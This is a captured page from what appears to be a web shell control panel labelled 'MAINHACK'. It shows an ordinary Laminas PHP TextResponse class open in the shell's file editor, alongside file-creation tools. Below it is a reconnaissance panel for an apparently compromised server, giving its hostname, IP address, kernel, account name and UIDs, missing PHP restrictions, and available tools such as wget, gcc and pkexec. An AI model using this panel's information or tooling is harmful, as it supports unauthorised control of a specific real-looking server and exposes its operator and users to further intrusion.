[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TextResponse.php
<?php declare(strict_types=1); namespace Laminas\Diactoros\Response; use Laminas\Diactoros\Exception; use Laminas\Diactoros\Response; use Laminas\Diactoros\Stream; use Psr\Http\Message\StreamInterface; use function get_debug_type; use function is_string; use function sprintf; /** * Plain text response. * * Allows creating a response by passing a string to the constructor; * by default, sets a status code of 200 and sets the Content-Type header to * text/plain. */ class TextResponse extends Response { use InjectContentTypeTrait; /** * Create a plain text response. * * Produces a text response with a Content-Type of text/plain and a default * status of 200. * * @param string|StreamInterface $text String or stream for the message body. * @param int $status Integer status code for the response; 200 by default. * @param array $headers Array of headers to use at initialization. * @throws Exception\InvalidArgumentException If $text is neither a string or stream. */ public function __construct($text, int $status = 200, array $headers = []) { parent::__construct( $this->createBody($text), $status, $this->injectContentType('text/plain; charset=utf-8', $headers) ); } /** * Create the message body. * * @param string|StreamInterface $text * @throws Exception\InvalidArgumentException If $text is neither a string or stream. */ private function createBody($text): StreamInterface { if ($text instanceof StreamInterface) { return $text; } if (! is_string($text)) { throw new Exception\InvalidArgumentException(sprintf( 'Invalid content (%s) provided to %s', get_debug_type($text), self::class )); } $body = new Stream('php://temp', 'wb+'); $body->write($text); $body->rewind(); return $body; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002